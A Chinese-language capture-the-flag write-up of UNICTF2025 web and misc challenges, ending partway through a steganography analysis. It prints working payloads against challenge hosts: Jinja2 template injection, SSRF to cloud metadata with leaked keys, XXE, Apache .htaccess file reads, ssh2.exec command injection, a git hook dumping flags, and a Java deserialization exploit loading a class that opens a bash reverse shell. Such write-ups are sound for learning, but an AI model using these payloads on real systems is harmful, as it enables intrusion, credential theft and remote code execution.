0%

UNICTF2025

前言

题目来源https://www.ctfplus.cn/,可以直接搜索标签`UNICTF2025`就可以找到题目了。这个当时参加之后没有系统复现学习,学习一下

web

GlyphWeaver

首先看源码

image-20260416205458638

这里注释写到了使用的jinja2模板,还有两个路由POST /api/preview → 实时预览POST /api/export → 创建导出任务(异步)可以考虑ssti了。

还有就是这个CJK-friendly,这个就是中日韩统一表意文字。题目经过测试存在waf,过滤了{{}},但是题目提示了这个,在处理中日韩文字,最常见的清理手段就是Unicode Normalization,把全角字符转换为半角字符。可以提在预览界面尝试一下啊

image-20260416211519592

这里输入的全角字符{{7*7}},经过处理转换为半角字符,这里知识处理过了,便没有渲染执行,而在/api/export 的二次 Jinja 渲染

最后的payload

1
{{lipsum.__globals__.os.popen("cat /flag").read()}}

下载文件得到flag

image-20260416211954756

CloudDiag

这里直接注册进去就是一个ssrf,测试常见的url不太行,没有返回数据。然后是这个Cloud Explorer

image-20260418155507777

第一次接触这些概念,记录一下。先看一下题目描述

image-20260418155726702

这里提及到敏感数据,就是上图说的。

169.254.169.254

这是几乎所有公有云厂商(AWS、阿里云、腾讯云、华为云) 虚拟机内部固定的元数据服务 IP,我们在云上创建一台虚拟机时,云厂商会给机器提供一个元数据服务(IMDS),让这台机器通过访问特定的内网地址(比如169.254.169.254)来查询自己的信息。信息包括实例ID位置区域私有IP和公有IPIAM角色凭证,我们可以通过SSRF获取这些信息

IAM角色

这是云服务器的内置账号权限,不用输入密钥可以直接操作对象储存

在题目底部写的有

1
CloudDiag runs in a cloud environment with instance roles for diagnostics.

说明这个机器自带云权限,可以直接读取储存桶

AccessKeyId / SecretAccessKey

云服务的账号密码

AccessKeyId = 用户名

SecretAccessKey = 密码

SessionToken = 临时登录凭证(临时密钥必须带)

SessionToken

只有从元数据拿到的临时密钥才带这个,永久密钥没有。

Bucket(存储桶)

云存储的文件夹

AWS 叫 S3 Bucket

阿里云叫 OSS Bucket

接下来就是通过ssrf获取上述信息,然后得到flag

参考网上的wp这一题又来两种解法,存在非预期解。都复现以下

非预期解:

就是fuzz测试这个url,当测试`http://metadata

image-20260418161838548

提示给了端口在1338,然后就是查看元数据了,

查看角色名

1
http://metadata:1338/latest/meta-data/iam/security-credentials/

image-20260418162541316

1
clouddiag-instance-role

读取敏感数据

1
http://metadata:1338/latest/meta-data/iam/security-credentials/clouddiag-instance-role

image-20260418162658169

Access Key ID

1
AKIA40A6E630FB5E4485

Secret Access Key

1
2ba16bdb57834377a98f0d741b405bf039cf11f7314e4393b0cf33d2452afbe5

Session Token

1
b18552dac18647fd96a76de6955a13a6e78c708e9c16417692d0e430f3fab716

查看储存桶

image-20260418162810558

查看第一个桶

image-20260418162912578

查看flag

image-20260418162931039

1
UniCTF{ebf324db-a8da-4c89-87ec-fd6ba6fe9cfa}

预期解就是在登入界面存在弱口令

这里在注册时用户名尝试admin,root。发现存在root用户,爆破密码

image-20260418163723143

root/root123

image-20260418163831186

查看这个任务

image-20260418163852691

这里就给出了url接下来就是读取敏感信息了。步骤同上

ezUpload

考察的文件上传,不过上传的文件比较特殊,题目要求上传配置文件,上传限制:最大1kb,waf:?$ & ; |` \ <,没有php代码。

这里主要时Apache HTTP Server2.4.65的配置问题导致问题。通过表达式注入读取文件

.htaccess文件配置

1
Header set X-Flag "expr=%{file:/flag}"

file:/path是 Apache 表达式内置函数,可读取服务器本地文件内容并写入响应头X-Secret

然后在随便上传一个文件,访问即可得到flag

image-20260418170553983

SecureDoc

又是一个文件上传,这个要上传的时pdf,代码提示

1
XFA-based dynamic forms

XFA时pdf的动态表单技术,它允许PDF内部嵌入一段XML数据来动态描述表单的布局数据等等,xfa数据

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "file:///flag"> ]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
<data>&xxe;</data>
</xfa:datasets>
</xdp:xdp>

生成对应pdf上传

image-20260418171734084

一鸣唱吧

尝试注册登陆进入,有文件上传,文件下载两个功能,只能上传wav,mp3格式,尝试上传1.mp3,发现对文件进行重命名,经过测试只有最后两个数字不一样。接下来就是fuzz测试。参考官方wp解法

分别对最后两个数字还有文件后缀进行爆破。

1
ffuf -u http://80-6f873b58-c495-4397-95b8-f9afb959de0f.challenge.ctfplus.cn//uploads/UNiCTF2026W1W2 -w num.txt:W1 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-extensions-lowercase.txt:W2

第一次用可能会报错,没有装seclists字典

1
apt update && apt install seclists -y

然后就可以爆破了

image-20260418175022027

image-20260418175048960

有这两个关键文件,在php文件时一个phpinfo,依旧非预期

image-20260418175356263

预期解还有继续往往下做。打开db文件

image-20260418175619114

这里给出了admin用户的hash值,查询一下

image-20260418175729362

密码时admin888

这里admin用户多了一个文件读取功能,先读取download.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
<?php
// 引入数据库连接
require_once 'includes/db.php';

if (session_status() === PHP_SESSION_NONE) { session_start(); }

if (!isset($_SESSION['user'])) {
require_once 'includes/header.php';
die("<div class='container'><p class='error'>请先登录会员系统!/ Access Denied</p></div>");
require_once 'includes/footer.php';
}



if (isset($_GET['preview']) && $_GET['preview'] === "true" && isset($_SESSION['is_admin']) && $_SESSION['is_admin'] == 1) {


$format = isset($_GET['format']) ? $_GET['format'] : '';

// ========================================
// 安全过滤:协议黑名单检查
// ========================================
$dangerousProtocols = [
'php://',
'data://',
'phar://',
'zip://',
'compress.zlib://',
'compress.bzip2://',
'zlib://',
'glob://',
'expect://',
'input://',
'http://',
'https://',
'ftp://',
'ftps://',
'dict://',
'gopher://',
'tftp://',
'ldap://',
'ssh2.sftp://',
'ssh2.scp://',
'ssh2.tunnel://',
'rar://',
'ogg://',
];

foreach ($dangerousProtocols as $protocol) {
if (stripos($format, $protocol) !== false) {
require_once 'includes/header.php';
echo "<div class='container'>";
echo "<p class='error'>⚠️ 安全警告:禁止使用该协议 " . htmlspecialchars($protocol) . "</p>";
echo "<p>系统检测到潜在的安全风险,已拦截此次请求。</p>";
echo "</div>";
require_once 'includes/footer.php';
exit;
}
}
// ========================================

$full_path = $format;

$is_viewing_source = (strpos($format, 'file://') === 0);

if ($is_viewing_source) {
header('Content-Type: text/plain; charset=utf-8');
} else {
header('Content-Type: text/html; charset=utf-8');
require_once 'includes/header.php';
echo "<div class='container'><h2 class='neon-text'>🔧 管理员预览控制台</h2>";
echo "<p class='message'>正在尝试加载资源流: <strong>" . htmlspecialchars($full_path) . "</strong></p>";
echo "<div style='background: #000; padding: 15px; border: 1px solid #333; font-family: monospace; color: #0f0; white-space: pre-wrap;'>";
}

try {

$handle = @fopen($full_path, 'r');

if ($handle) {
$content = stream_get_contents($handle);

if ($is_viewing_source) {
echo $content;
} else {
echo htmlspecialchars($content);
}
fclose($handle);
} else {
echo "Error: 资源加载失败。\n";
echo "可能的原因为:\n";
echo "1. 文件路径不存在\n";
echo "2. 权限不足 (Permission Denied)\n";
echo "3. 协议格式错误\n";
}

} catch (Exception $e) {
echo "System Error: " . $e->getMessage();
}


if (!$is_viewing_source) {
echo "</div></div>"; // 关闭 console 和 container
require_once 'includes/footer.php';
}

exit;

}



//普通会员文件下载

require_once 'includes/header.php';

if (isset($_GET['file'])) {
$file = $_GET['file'];

if (strpos($file, '..') === false && strpos($file, '/') === false) {
$filepath = "uploads/" . $file;
if (file_exists($filepath)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
header('Content-Length: ' . filesize($filepath));
readfile($filepath);
exit;
} else {
echo "<p class='error'>文件不存在或已被移除。</p>";
}
} else {
echo "<p class='error'>非法请求。</p>";
}
}

$admin_panel = '';
if (isset($_SESSION['is_admin']) && $_SESSION['is_admin'] == 1) {
$current_dir = __DIR__;
$admin_panel = <<<HTML
<div class="admin-panel">
<h3 class="neon-text">🔧 管理员内部预览 (Dev Mode)</h3>
<p style="color: gray; font-size: 0.8em;">当前 Web 根目录: {$current_dir}</p>

<form method="get" target="_blank">
<input type="hidden" name="preview" value="true">
<label>Resource URI:</label>
<input type="text" name="format" placeholder="例如: file://{$current_dir}/index.php" style="width: 70%;" required>
<button type="submit">加载资源</button>
</form>
</div>
HTML;
}
?>

<h2 class="neon-text">🎵 一鸣曲库 (归档中心)</h2>
<p>这里存放着系统归档文件。普通会员可根据文件名下载。</p>

<div style="margin-top: 30px; padding: 20px; background: rgba(0,0,0,0.3);">
<h3>📥 歌曲/文件下载</h3>
<form method="get">
文件名: <input type="text" name="file" placeholder="输入文件名, 如 MGSG202500.mp3">
<button type="submit">下载文件</button>
</form>
</div>

<?php
echo $admin_panel;
require_once 'includes/footer.php';
?>

这里可以进行文件读取,file://协议可以使用,可以读取/etc/passwd文件,但是读取不了/flag

image-20260418181522859

看来要进行rce了。看wp是用到了据ssh2模块的定义,其中有一个ssh2.exec://协议,该协议可以在远程ssh上执行命令。但需要获得一个ssh用户的凭证。 该协议的格式是这样的:ssh2.exec://user:pass@ip/cmd

image-20260418182414697

依旧报错,尝试换一个用户凭证

image-20260418182915821

image-20260418183102755

这里执行了的但是没回显,写入静态文件

1
download.php?preview=true&format=ssh2.exec://ctfer:duhgrl@127.0.0.1:22/ls%20/>/var/www/html/1.txt

image-20260418183230784

image-20260418183509488

ezUpload Revenge!!

payload

1
2
3
4
RewriteEngine On
RewriteCond expr "file('/flag') =~ /(.+)/"
RewriteRule .* - [E=FLAG_CONTENT:%1]
Header set X-Test-Expr "%{FLAG_CONTENT}e"

使用file读取flag并存入环境变量,然后设置响应头返回

image-20260418185414574

Intrasight

在源码注释中有提示

1
<!-- internal-services: [public_web, admin_panel, w*_*e*1*r] -->

尝试遍历一下端口,这里测试几个常用的端口

1
2
80, 443, 3000, 5000, 6379, 8000, 8001, 8080, 8081, 8888, 9000, 9200, 1337,22,7001,8899

扫到了8001,是admin_panel,直接看没有信息,看openapi.json

image-20260419145259979

有一个接口/redirect_ws

image-20260419145505003

在9000端口有WebSocket 服务!直接访问ws://127.0.0.1:9000/ws?token=92b590216cbb44a79ab60c80e026b7b0

1
2
3
4
5
{
"ws": "ok",
"message": "handshake success",
"welcome": "{\"error\":\"invalid origin 'None' ; X-Internal-Token header must match ?token; token expired or invalid (try /redirect_ws)\"}"
}

添加请求头X-Internal-Token: token

然后是

image-20260419150509191

在添加origin:http://127.0.0.1,这个token是一次性的,发送一次请求就需要再次获取一个新的token

image-20260419150834373

然后就是就是ssti,发送json即可

image-20260419151204480

image-20260419151412538

ez Java

这是一道java反序列化题目,

image-20260419153628190

这里给出了上传路径,先分析一下jar包

首先是UserProfileController.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
@RequestMapping({"/api/user"})
public class UserProfileController {
private static final Logger logger = LoggerFactory.getLogger(UserProfileController.class);

@PostMapping({"/settings/import"})
public String importSettings(@RequestParam(name = "configData") String configData) {
try {
byte[] rawData = Tools.base64Decode(configData);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(rawData));
String identity = ois.readUTF();
int version = ois.readInt();
if ("InternalManager".equals(identity) && version == 2025) {
Object obj = ois.readObject();
logger.info("Config Sync Status: Object [{}] has been integrated into system context.", obj);
return "SUCCESS: Configuration synchronized at internal level.";
} else {
return "FAILED: Identity verification failed.";
}
} catch (Exception var7) {
return "ERROR: Malformed configuration stream.";
}
}
}"})
public class UserProfileController {
private static final Logger logger = LoggerFactory.getLogger(UserProfileController.class);

@PostMapping({"/settings/import"})
public String importSettings(@RequestParam(name = "configData") String configData) {
try {
byte[] rawData = Tools.base64Decode(configData);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(rawData));
String identity = ois.readUTF();
int version = ois.readInt();
if ("InternalManager".equals(identity) && version == 2025) {
Object obj = ois.readObject();
logger.info("Config Sync Status: Object [{}] has been integrated into system context.", obj);
return "SUCCESS: Configuration synchronized at internal level.";
} else {
return "FAILED: Identity verification failed.";
}
} catch (Exception var7) {
return "ERROR: Malformed configuration stream.";
}
}
}

这个代码就对应上了上图中说的,路径/api/user/settings/import,接收参数configData参数,格式是base64,解析配置同步到系统。 从前端获取到的configData参数后进行base64解码位字节数组。

反序列化:

1
2
3
4
String identity = ois.readUTF();
int version = ois.readInt();
if ("InternalManager".equals(identity) && version == 2025) {
Object obj = ois.readObject();

设置了两个变量用来读取字符串和整数。然后进行判断identity == InternalManagerversion == 2025,校验通过后反序列化对象

UserProfile.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class UserProfile implements Serializable {
private String uid;
private String username;
private ConfigDataWrapper customConfig;

public UserProfile(String uid, String username, ConfigDataWrapper config) {
this.uid = uid;
this.username = username;
this.customConfig = config;
}

public String toString() {
return "UserProfile{uid='" + this.uid + '\'' + ", username='" + this.username + '\'' + ", config=" + (this.customConfig != null ? this.customConfig.toString() : "null") + '}';
}
}

定义了一个可以反序列化的类。有三个属性,uid,username,还有一个自定义的类,下面的toString()方法就是把UserProfile对象变成一段可读的字符串。如果 customConfig 不为空,就自动调用它的 toString () 方法,看一下这个this.customConfig.toString()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public class ConfigDataWrapper implements Serializable {
private static final long serialVersionUID = 6623142231L;
private String configId;
private Map<String, String> metadata = new HashMap();
private long lastModified = System.currentTimeMillis();
private int checksum;
private transient String debugInfo;
private byte[] ClassByte;
private String sign;

public String toString() {
StringBuilder result = new StringBuilder();
result.append("ConfigDataWrapper[").append("ID=").append(this.configId == null ? "DEFAULT" : this.configId).append(", MetaSize=").append(this.metadata == null ? 0 : this.metadata.size()).append("]");
if (this.ClassByte != null && "ready".equals(this.sign)) {
try {
byte[] decrypted = new byte[this.ClassByte.length];

for(int i = 0; i < this.ClassByte.length; ++i) {
decrypted[i] = (byte)(this.ClassByte[i] ^ 255);
}

StringBuilder sb = new StringBuilder();
String hex = "646566696e65436c617373";

for(int i = 0; i < hex.length(); i += 2) {
sb.append((char)Integer.parseInt(hex.substring(i, i + 2), 16));
}

ClassLoader loader = Thread.currentThread().getContextClassLoader();
Method m = ClassLoader.class.getDeclaredMethod(sb.toString(), String.class, byte[].class, Integer.TYPE, Integer.TYPE);
m.setAccessible(true);
Class<?> clazz = (Class)m.invoke(loader, null, decrypted, 0, decrypted.length);
clazz.getConstructor().newInstance();
return result.append(" [Verified Context Loaded]").toString();
} catch (Exception var8) {
return result.append(" [Verification Failed]").toString();
}
} else {
return result.append(" [Status: STANDBY]").toString();
}
}
}

首先就是if语句,要求ClassByte不为空,并且sign等于ready,然后就是对传入的ClassByte每个字节进行^255异或,如果我们事先传入的

数据就异或过了,那么经过这个异或之后就会还原成原样数据。接着往下看。

1
2
3
4
5
6
StringBuilder sb = new StringBuilder();
String hex = "646566696e65436c617373";

for(int i = 0; i < hex.length(); i += 2) {
sb.append((char)Integer.parseInt(hex.substring(i, i + 2), 16));
}

就是把十六进制字符串转换位英文单词defineClass,然后接下来就是获得服务器运行的类加载器,然后通过反射,找到 ClassLoader 里的 defineClass 方法,这个方法就是把byte[]二进制字节码直接变成一个可运行的类。

1
Class<?> clazz = (Class)m.invoke(loader, null, decrypted, 0, decrypted.length);

这个decrypted就是我们传入的字节码,代码会把这个字节码变为一个类,也就是服务器中会多一个我们自己写的类。

1
clazz.getConstructor().newInstance();

然后运行这个类,执行里面的命令。

综上理一下整体思路,首先验证两个数据identity还有version然后反序列化,执行到

1
logger.info("Config Sync Status: Object [{}] has been integrated into system context.", obj);

到这会自动调用obj.toString,这个 obj 是 UserProfile 类型,然后进入 UserProfile.toString(),然后准备一个恶意类字节码,调用definClass加载恶意类进行rce,这里使用反弹shell

恶意类

1
2
3
4
5
6
7
8
9
10
public class test {
public test() {
try {
String cmd = "bash -c 'bash -i >& /dev/tcp/ip/port>&1'";
Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
} catch (Exception e) {
}
}
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package org.example;

import com.unictf.ctf.tools.ConfigDataWrapper;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

class Exp {
public static void main(String[] args) throws Exception {
// 目标地址
String target = "http://8888-b87758a6-93ac-41d9-a29f-00b08d7406d3.challenge.ctfplus.cn/api/user/settings/import";

// 读取字节码 + 异或解密
byte[] bytes = Files.readAllBytes(Paths.get("test.class"));
for (int i = 0; i < bytes.length; i++) {
bytes[i] = (byte) (bytes[i] ^ 0xff);
}

// ========== 核心:反射设置 Jar 包中的类字段 ==========
ConfigDataWrapper wrapper = new ConfigDataWrapper();

setField(wrapper, "configId", "CONF-2025");
setField(wrapper, "sign", "ready");
setField(wrapper, "ClassByte", bytes);

// ========== 构造恶意序列化数据 ==========
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(bad, wrapper);

// ========== 打包 payload ==========
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeUTF("InternalManager");
oos.writeInt(2025);
oos.writeObject(bad);
oos.close();

// Base64 + URL 编码发送
String payload = Base64.getEncoder().encodeToString(baos.toByteArray());
String body = "configData=" + URLEncoder.encode(payload, "UTF-8");

// 发送请求
HttpURLConnection conn = (HttpURLConnection) new URL(target).openConnection();
conn.setRequestMethod("POST");
conn.setDoOutput(true);
conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
conn.getOutputStream().write(body.getBytes("UTF-8"));

System.out.println("请求发送成功!响应码:" + conn.getResponseCode());
}

// 工具方法:通用反射赋值
public static void setField(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

然后就可以rce了,flag在环境变量中

image-20260419230208353

这里要注意版本使用jdk8版本,然后就是导入jar包的问题,由于刚开始接触java反序列化关于idea中的一些配置不太熟悉,刚开始直接导入Unictf.jar包一直报错,后来发现是导入包的路径不对,上述代码需要导入的是

image-20260419230859493

然后同步修改pox.xml就可以

Bytecode Compiler

首先看一下题目是字节码编译器,会执行三个指令,抓包看一下

image-20260420202031234

发送的并不是明文,而是一段base64编码,如果勾选了诊断模式,

image-20260420202304255这里会有flag在前端就泄露了处理逻辑/bundle.js,这里分析主要逻辑。

1
2
3
4
const nonce = new Uint8Array(8); // 8字节随机数
crypto.getRandomValues(nonce); // 密码学安全随机数
const nonceLow32 = new DataView(nonce.buffer).getUint32(0, true);
const flags = diagModeEl.checked ? 0x01 : 0x00; // 诊断模式标志

这里的flags是一个常量,根据flags=1就是诊断模式,用来展示详细的数据。这里的flag是标志,看看代码中是怎么定义的

1
2
3
4
5
6
7
8
9
10
11
 const flags = diagModeEl && diagModeEl.checked ? 0x01 : 0x00;
const opMap = { ECHO: 0, LEN: 1, HASH: 2 };
const dispatchRules = [
'signed_flags >= 0: dispatch index follows op_id',
'signed_flags < 0: compatibility dispatch uses flags in index',
'dispatch table has 4 slots (including internal diagnostic slot)'
];
const signedFlags = (flags << 24) >> 24;
const dispatchIndex = signedFlags < 0
? (((signedFlags >>> 0) | opId) % 4) // 兼容模式
: (opId % 4);

这里定义了012这个三个指令id,接着定义了三条规则,flag>=0时,调度索引=指令id计算opID%4

1
2
3
4
5
6
7
ECHO → opId=0 → 0%4=0

LEN → opId=1 → 1%4=1

HASH → opId=2 → 2%4=2


当flag为负数时,进入兼容模式,调度索引 = flags + 指令 ID 一起算,第三句给出了提示,一共有4个指令执行槽位,但是题目中只给出了3个命令,那最后一个应该可以获得flag,

1
const signedFlags = (flags << 24) >> 24;

在代码中定义的是flag的值是1或者0,经过左右移动,最高位是0就是整数,最高位是1就是负数,flag在0x00 ~ 0x7F就是正数,0x80 ~ 0xFF就是负数,但是题目默认定义的是0x00,0x01,也就是说永远负数。就不会用到那个隐藏的命令,现在以及知道了加密算法就可以构造任意命令进入,参考官方给出的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import base64
import os
import struct

KEY_PARTS = [0x1C, 0x2D, 0x3E, 0x40, 0xA5, 0xB6, 0xC7, 0xD8, 0x24, 0x68, 0xAC, 0xE0]
K1 = ((KEY_PARTS[0] << 24) | (KEY_PARTS[1] << 16) | (KEY_PARTS[2] << 8) | KEY_PARTS[3]) & 0xFFFFFFFF
K2 = ((KEY_PARTS[4] << 24) | (KEY_PARTS[5] << 16) | (KEY_PARTS[6] << 8) | KEY_PARTS[7]) & 0xFFFFFFFF
K3 = ((KEY_PARTS[8] << 24) | (KEY_PARTS[9] << 16) | (KEY_PARTS[10] << 8) | KEY_PARTS[11]) & 0xFFFFFFFF
ROT = 11

def rotl32(value, shift):
return ((value << shift) | (value >> (32 - shift))) & 0xFFFFFFFF

def encode_op(op_id, nonce_low32):
rot = rotl32(nonce_low32 ^ K2, ROT) & 0xFFFFFFFC
base = (op_id ^ K1) + rot
return ((base ^ K3) | 0x80000000) & 0xFFFFFFFF

def fnv1a32(data):
h = 0x811C9DC5
for b in data:
h = (h ^ b) & 0xFFFFFFFF
if h & 0x80000000:
h = h - 0x100000000
h = int(float(h) * float(0x01000193)) & 0xFFFFFFFF
return h

def build_packet(op_id, flags, arg_bytes, nonce):
nonce_low32 = struct.unpack("<I", nonce[:4])[0]
op_code = encode_op(op_id, nonce_low32)

body = bytearray()
body.extend(b"WVLT")
body.append(0x01)
body.extend(nonce)
body.append(1)
body.extend(struct.pack("<I", op_code))
body.append(flags & 0xFF)
body.extend(struct.pack("<H", len(arg_bytes)))
body.extend(arg_bytes)

checksum = fnv1a32(body)
body.extend(struct.pack("<I", checksum))
return bytes(body)

def main():
op_id = 0
flags = 0x00
arg = "hello"
nonce = os.urandom(8)
packet = build_packet(op_id, flags, arg.encode("utf-8"), nonce)
print(base64.b64encode(packet).decode())

if __name__ == "__main__":
main()

image-20260421195300753

这里给出了token,题目提示系统支持后端拉取配置:/api/fetch?url=...&token=...(token 正确时会携带管理头)

有了token,就可以ssrf,在robots.txt有路径

image-20260421195712554

/api/fetch?url=http://127.0.0.1/internal/flag&token=you-got-me-baby-where-is-my-bytecode

image-20260421201418130

gogogos

打开容器看到已经存在一个用户

image-20260421201520801

然后就是弱口令ctf:ctf登入进去,发现是admin用户

image-20260421202011339

创建仓库可以查看钩子

image-20260422155409414

这里可以重写pre-receive,服务器收到客户端的 push 请求后,在任何提交被写入仓库之前执行。修改如下

1
2
3
4
#!/bin/sh
(cat /flag 2>/dev/null || cat /flag.txt 2>/dev/null || cat /app/flag 2>/dev/null || cat /app/flag.txt 2>/dev/null || printenv FLAG 2>/dev/null || printenv GZCTF_FLAG 2>/dev/null || printenv DASFLAG 2>/dev/null) >&2
exit 1

然后本地克隆仓库,由于代理问题用的命令需要配置参数,仅供参考

1
2
git -c http.proxy= -c https.proxy= clone http://ctf:ctf3000-49c4f56e-3b43-4c4f-86de-4180c95602cf.challenge.ctfplus.cn/ctf/aaa.git

然后需要先完成准备工作,创建一个文件,然后再push

image-20260422161105963

虽然会报错,但是会返回flag

MISC

截取的线索

题目给了两个附件,首先看那个文件7,010打开看数据

image-20260418210926719

RinDSA|W6dlkbXsob,通过异或

image-20260418211247102

然后就是看图片分辨率是96x1,一共是96个像素点,每个像素点有8位储存颜色,0 = 黑 = 0,255 = 白 = 1,像素转换位二进制,

1
2
010111110100011101110010011001010110000101110100010111110111010001101111001100000011000101111101

8位一组转ASCII码

  • 01011111 -> _
  • 01000111 -> G
  • 01110010 -> r
  • 01100101 -> e
  • 01100001 -> a
  • 01110100 -> t
  • 01011111 -> _
  • 01110100 -> t
  • 01101111 -> o
  • 00110000 -> 0
  • 00110001 -> 1
  • 01111101 -> }

UniCTF{P1ckle_the_Great_to01}

Sign in

题目提示是U2VjcmV0S2V5,base64解码SecretKey,然后是Serpent解密,这里要补充密钥要十六字节然后解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import base64
from pathlib import Path

from pyserpent import Serpent


def main() -> None:
hint_b64 = "U2VjcmV0S2V5"
hint = base64.b64decode(hint_b64)

# Serpent accepts 16/24/32-byte style lengths here; this challenge uses
# the decoded hint padded with NUL bytes to one full 16-byte block.
key = hint.ljust(16, b"\x00")

ciphertext = Path("Serpent.dat").read_bytes()
cipher = Serpent(key)
plaintext = cipher.decrypt(ciphertext)
flag = plaintext.rstrip(b"\x00").decode()

print(f"hint: {hint!r}")
print(f"key : {key!r}")
print(f"flag: {flag}")


if __name__ == "__main__":
main()

image-20260418213856593

UniCTF{Serpentine_Secrets}

Silent Resolver

大概浏览浏览一下可以看到全是dns流量,并且有可疑域名a1b2c3d4.exfil.unictf.local,过滤看一下

image-20260418215059300

这里看到有0000-0005,在域名前面都字符串,提取出来

kbfqgbauaaaaacaajbsskxfwamzbcoaaaaadmaaaaaeaaaaamzwgczzoor4hic6nzn2a44nloyy4qk4jb4utekjorf37cc4ob4wdklrsjqwy4n6pgcxiz5zvjthsrcpxgbgdddqpgzhc4mrofgxakacqjmaqefadcqaaaaaiabegkjk4wybteejyaaaaanqaaaaaqaaaaaaaaaaaaaaaaaeaaeaaaaaamzwgczzoor4hiuclaudaaaaaaaaqaaiagyaaaac6aaaaaaaa

有特征位a-Z,2-7特征是base32,这个一眼base转文件,

1
2
3
4
5
6
7
8
9
10
import base64

data = "kbfqgbauaaaaacaajbsskxfwamzbcoaaaaadmaaaaaeaaaaamzwgczzoor4hic6nzn2a44nloyy4qk4jb4utekjorf37cc4ob4wdklrsjqwy4n6pgcxiz5zvjthsrcpxgbgdddqpgzhc4mrofgxakacqjmaqefadcqaaaaaiabegkjk4wybteejyaaaaanqaaaaaqaaaaaaaaaaaaaaaaaeaaeaaaaaamzwgczzoor4hiuclaudaaaaaaaaqaaiagyaaaac6aaaaaaa"
data = data.upper()
padding = 8 - (len(data) % 8)
if padding != 8:
data += '=' * padding
decoded = base64.b32decode(data, casefold=True)
with open("decoded.zip", "wb") as f:
f.write(decoded)

解压得到flag

UniCTF{D0nt_Tr4st_DNS_Qu3r1es_7h3y_M1ght_H1d3_S3cr3ts}

Welcome

璇玑科技发送Unictf2026得到flag

UniCTF{He110_Uni}

总裁四比特,这能玩?

随波逐流分析一波图片,formost文件提取出两个图片,尝试图片重叠,盲水印都不行。然后就没招了,还去问问三角洲的兵图片的几个人物技能,也没写出来,后来看wp,【2026UniCTF】总裁四比特,这能玩? - wyuu101 - 博客园知道思路

image-20260419233733131

原始图片大小是4715004字节,提取出的liange图片是747,327字节,提取的jpg是1,725,696字节,

4715004-1725696-747327x2=747327=747327x2

这里参考大佬脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
with open("比特.jpg","rb") as f:
data = f.read()
print(len(data))

data_seg1 = data[:1725696]
with open("data_seg1.jpg","wb") as f:
f.write(data_seg1)
print(len(data_seg1))
len_seg2_and_seg3 = len(data[1725696:])
print(len_seg2_and_seg3)
len_seg2 = len_seg3 = len_seg2_and_seg3 //2
print(len_seg2)
data_seg2 = data[1725696:1725696+len_seg2]
data_seg3 = data[1725696+len_seg2:]
print(len(data_seg2))
print(len(data_seg3))

print(data_seg2.hex()[:100])
print(data_seg3.hex()[:100])

seg2_high_bytes = []
for i in data_seg2:
seg2_high_bytes.append(i >> 4)
print(len(seg2_high_bytes))
print(seg2_high_bytes[:100])

输出结果

1
2
3
4
5
6
7
8
9
10
11
12
4715004
1725696
2989308
1494654
1494654
1494654
59004eb70d3a0a4a1040000d090804020080040890a0743628d650c0505657b375c0507066925bc704b00000f070607903bb
89504e470d0a1a0a0000000d4948445200000448000004d60806000000361793e500000006624b4744000000000000f943bb
1494654
